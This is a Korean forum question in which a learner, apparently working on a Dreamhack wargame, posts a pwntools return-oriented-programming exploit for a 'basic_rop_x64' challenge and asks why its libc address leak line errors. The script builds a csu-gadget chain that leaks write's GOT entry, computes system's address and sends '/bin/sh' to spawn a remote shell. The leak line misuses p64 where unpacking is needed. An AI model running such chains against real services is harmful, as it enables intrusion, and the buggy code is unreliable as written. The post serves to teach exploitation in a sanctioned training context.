rop 워게임 복습중 코드는 이렇습니다
from pwn import*
p = remote("host3.dreamhack.games",23073)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
read_plt = 0x4005f0
write_plt = 0x4005d0
read_got = 0x601030
write_got = 0x601020
csu_init1 = 0x40087a
csu_init2 = 0x400860
payload = b'A' * 0x48
payload +=p64(csu_init1)
payload +=p64(0)
payload +=p64(1)
payload +=p64(1)
payload +=p64(write_got)
payload +=p64(0)
payload +=p64(write_plt)
payload +=p64(csu_init2)
payload +=p64(0)
payload +=p64(1)
payload +=p64(0)
payload +=p64(write_got)
payload +=p64(8)
payload +=p64(read_got)
payload +=p64(csu_init2)
payload +=p64(0)
payload +=p64(1)
payload +=p64(0)
payload +=p64(read_got)
payload +=p64(8)
payload +=p64(write_got)
payload +=p64(csu_init2)
payload +=p64(0)
payload +=p64(1)
payload +=p64(1)
payload +=p64(read_got)
payload +=p64(write_got)
payload +=p64(csu_init2)
p.send(payload)
write =p64(p.recv(6)+b"\x00"*2)
print(hex(write))
lb = write - libc.symbols["write"]
system = lb + 0x138810
p.send(p64(system)+b"/bin/sh")
p.interactive()

이중 55번 write =p64(p.recv(6)+b"\x00"*2) 부분이 에로가 나는데요 저번에도 잇었지만 이번엔 확실하게 집고 넘어가고자 합니다 왜 p.send 다음부분 write 주소를 릭 하는게 에러가 날까요? 구체적으로 설명해주세용 ㅜㅜ